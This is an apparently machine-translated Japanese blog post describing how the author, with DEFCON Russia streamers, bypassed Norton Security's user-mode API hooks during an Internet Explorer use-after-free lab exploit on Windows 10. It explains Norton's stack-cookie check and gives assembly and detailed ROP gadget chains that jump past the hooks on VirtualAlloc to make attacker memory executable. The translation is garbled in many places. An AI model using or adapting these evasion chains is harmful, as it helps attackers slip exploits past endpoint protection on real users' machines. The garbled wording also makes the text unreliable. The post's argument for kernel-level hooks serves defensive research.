例としてNorton Securityを使用するエクスプロイトから保護しない方法

冬の夜に仕事から帰ってきたので、 Internet ExplorerでActiveXでUse-After-Freeを使用することに関する古いラボ(2012)のパフォーマンスを確認したかったのです。 実際、新しいラップトップでは、Windows 10と、これらすべての隔離されたヒープを含む最後のIEなどがありました。 それで私は自分の悪戯を始めました。突然、彼らが予期していなかったところからバンマーが来たとき、私のラップトップでノートンセキュリティを持っていました。







夕方はだらしないと約束した。 NextGenの保護に関する以前の経験から、Symatecのスタッフはすべて「安くて迅速」に作業を行っていたため、あまり心配することなくこの保護を回避することができます。 一般に、実践が示しているように、このような分割に対する保護のアプローチは非常に一般的であり、実際に普遍的で統一された方法によってバイパスされます。 言い換えれば、エクスプロイトへの詳細なアプローチにより、同じコードがNorton Securityと同じ防御メカニズムを使用する他のセキュリティシステム(およびもちろん、保護のないシステム)に対して機能します。 シマンテックが選択した保護方法の「アーキテクチャ」エラーを見てみましょう...





まあ、 あなたの広告がここにあるかもしれませんが、私は一人でデビューするのは退屈だと決めました、私はおそらく知らないかもしれませんが、その前にすでに似たようなことをして、期待できることを知っていました...しかし、同時に「集団」怒りの可能性をテストすることを決めました微調整して、最終的に、 デフコンロシアの友人がこのビジネスを「ハッキング」し始めるストリームを開始しました。 結果は遅くなりましたが、もっと楽しくなりました。 しかし、身体に移りましょう。



ラボからこのエクスプロイトを数回起動したところ、Nortonは「重要な」機能にring3フックを設定していると推測されました。 私たちの場合、そのような関数はROPシェルコードで呼び出されました:VirtualAlloc。 ROPシェルコードは現在のメモリページを実行可能にしたため、VirtualProtectと呼ばれています。 ノートンが提供するフックは、機能のプロローグ(スプリングボード)に大胆に侵入し、コントロールを捕捉し、「マジック」チェックを行いました。 すべてが問題ない場合、フックは制御を返しましたが、彼が悪を疑った場合、アラートは例外的な状況であり、スクリーンショットのように捕まりました。 上で書いたように、この保護方法はノートンやその他の情報セキュリティベンダーだけでなく、さまざまな回避策について説明します。



1)「マジックチェック」のロジックをだます

2)フックをジャンプして確認する



最初の戦略は、「魔法」の価値、正確にチェックされるものを「知って」、必要なものと必要な場所を掌握し、すべてが大丈夫だと防衛に確信させることを意味します。 この場合、Defconグループのメンバーは、ストリーム中に魔法とは何かを正確に教えてくれました。ノートンは「スタックCookie」、「Cookie」を各スタックにプッシュします。 VirtualProtect、VirtualAlloc、さらにはWinExecが呼び出されると、フックが制御を取得し、現在のスタック、つまりこのCookieをチェックします。 Use-After-Freeの悪用中にエクスプロイトがいわゆるStack Pivotを実行したため、現在のフレームスタックを攻撃者を制御するものに変更しました。この場合、これはヒープスプレーとROPで生成されたページであり、もちろんこれらのCookieはそうではないことが判明しました私たちの場合でした。 したがって、アラート。 このチェックにはいくつかの方法があります。



戦略1:ROPは元のスタックから新しいスタックにCookieをコピーします

戦略2:ROPシェルコードを元のスタックにコピーし、ESPを返す



この方法は優れたシンプルな方法ですが、欠点が1つあります。あまり一般的ではなく、この特定のチェックに対してのみ機能します。 したがって、ここでは2番目の方法に集中することにしました。



2番目の方法はさらに簡単です。チェックなどのロジックについて考える必要はありません。必要なのは、フックでスプリングボードを "ジャンプ"することです。したがって、テスト全体です。 この方法の欠点も明らかです-OSの異なるブランチではジャンプします。これは、フックが異なることを意味します。 つまり、Windows 7のフックとWindows 10のフックは異なって見えます(Win10では、VirtualAllocの実装はkernelbase.dllに既にあります)。 これは、理想的には、エクスプロイトを発行する前に、システム(フロントエンド)がOS(Windows 7、Windows 8.1、またはWindows 10)を決定し、目的のバージョンのスプリットを発行する必要があることを意味します。 しかし、この方法はより汎用的です。ノートンが存在するか、別のベンダーから別のフックが存在するか(または、フックが存在しない場合でも)は関係ないためです。 私の場合は特にWindows 10だったので、私が持っていたものを分析します。VirtualProtectのフックは次のとおりです。







ここでは、VirtualAllocがkernel32.dllのラッパーにつながるポインタを持っています。最初のフックがあり、kernelbase.dllには既に2番目のフックがあります。 つまり、Win10のバージョンでは、2つのフックを一度にジャンプする必要があります。 ROPでこれを行うことができます。実際、IATからVirtalAllocへのポインターを読み取り、このポインターからの静的オフセットで、kernelbase.dllのVirtualAllocへのポインターを読み取ります(これはWin10用で、Win7では最初のポインターで十分です)。 その後、2番目のフックをジャンプするためにアドレスにオフセットを追加し、すでにそこに呼び出しを転送します。 また、この呼び出しの時点でESPに等しくなるように、事前にEBP値を調整することを忘れないでください。 基本的に、VirtualAllocを指す次のESIコードが必要です。



mov eax, [esi + 8] ;     kernelbase.virtualalloc mov eax, [eax] ;    add eax, 5 ;   ,      ( push ecx) push ebp ;  ESP ( ) mov ebp, esp ;   EBP    
      
      





しかし、これは通常のシェルコード(ROPを実行した後もまだあります)には適していますが、ページを実行可能にするまで、同じアクションをROPで行う必要があります。 一般に、3時間のストリームは、このようなROPプログラムの作成に正確に費やされ、結果として、VirtualAllocを安定して呼び出し、エラーやアラートを生成しないROPシェルコードの作業バージョンが必要なものを得ました。



しかし、それだけではありません。その後、特定のファイルを実行する通常のシェルコードがあります(電卓を見てみましょう)。 WinExecまたはCreateProcessを呼び出すときに、フックもバイパスする必要があります。 これは同じ方法で行うことができますが、さまざまなデモで最初の戦略を適用し、ROPが不要になったため、ESPを古い元のフレームに切り替えることでチェックを欺くことにしました。 したがって、戦略全体と私たちが持っているものは次のようになります。



1)スタックピボットの直後の攻撃の開始。 EDIの古いスタックフレームへのポインター

2)すぐにEBPカウントを計算し、VirtualAllocの呼び出し時にESPと同等になるようにします。 スタックへのポインタがどのように移動するかを知っているため、これを事前に計算できます。



 >0x5bf2b484 : # POP EAX # RETN >204 : # offset to EBP >0x5be63cd8 : # PUSH ESP # POP EBP # RETN 04 >0x5bf014a9 : # XCHG EAX,EBP # RETN >0x90909090 : # TRASH >0x5bf08c87 : # ADD EAX,EBP # RETN >0x5bf014a9 : # XCHG EAX,EBP # RETN
      
      





3)すべてのフックの直後に、カーネルベースのVirtuallAllocへのポインターをカウントします



 # EAX = kernelbase.virtalloc + offset_over_the_hook >0x5bee1907 : # POP ECX # RETN [npexploitMe.dll] >0x5bf32114 : # ptr to &VirtualAlloc() [IAT npexploitMe.dll] >0x5bed6fb0 : # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll] >0x5bedba6d : # ADD EAX,8 # RETN >0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN >0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN >0x5bee809a : # INC EAX # RETN
      
      





4)VirtualAlloc(VA)のパラメーターを実際に準備する



 >0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI >0x5be8936f : # XOR EAX,EAX # RETN >0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP >0x5bed87dd : # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN ; EDX = EBP, pointer to place where we want to store our VA parameters >0x11223344 : # trash to esi >0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI >0x5be98313 : # MOV EAX,ESI # RETN >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; save VA call address (1) >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN ; DWORD* pointer++ >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; not needed, new EBP (2) >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bf2b484 : # POP EAX # RETN ; put return address after VA call int EAX >0x5be63ce2 : # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now) >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; Retuen address (3) >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5bec1806 : # INC EDX # RETN >0x5be8936f : # XOR EAX,EAX # RETN >0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP >0x5beecf8e : # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4) >0x5bef49e2 : # INC EBP # RETN >0x5bef49e2 : # INC EBP # RETN >0x5bef49e2 : # INC EBP # RETN >0x5bef49e2 : # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored... >0x5bee809b : # RETN >0x11111111 : # This will be overwritten by (1) >0x22222222 : # This will be overwritten by (2) >0x22222222 : # Retuen address after VA call, will be overwritten by (3) >0x33333333 : # First VA parameter - pointer, overwrittem by (4) >0x00000001 : # Second VA parameter: size >0x00001000 : # Third VA parameter: AllocationType = MEM_COMMIT >0x00000040 : # Last VA parameter: R_X
      
      





そして、結論の代わりに:リング3でフックを使用してエクスプロイトまたはマルウェアから保護することは良い考えではありません。 Wierd Machineをプログラミングする通常のシェロック。 この場合、開発者は、関数の呼び出しはIATポインターからの呼び出しであり、ring3フックは「降りる」と考えています(複数のNortonがこれを行うことを追加します。 もちろん、標準および標準のエクスプロイトに対して、この保護は機能し、何もしないよりはましです。 それにもかかわらず、この保護は回避でき、さらに簡単に行えます。 回避策自体は非常に普遍的で実用的です。



さらに、ring3フックには、 既存の防御を回避するためのヘルプなど、他の多くの問題があります。



最終的に、少なくとも「戦略番号2」に対しては、ring0フックの方が優れています。 シムのためにすべて。 gg bb hf



UPD:Twitchリンク: https : //www.twitch.tv/defconrussia

残念ながら、このアクションの6時間のアーカイブ記録はすでに「残っている」ため、チャンネルは空になりましたが、情報セキュリティ、サイトおよびGoogleグループでの発表に関連するさまざまなトピックのストリームをすぐに再開します。



All Articles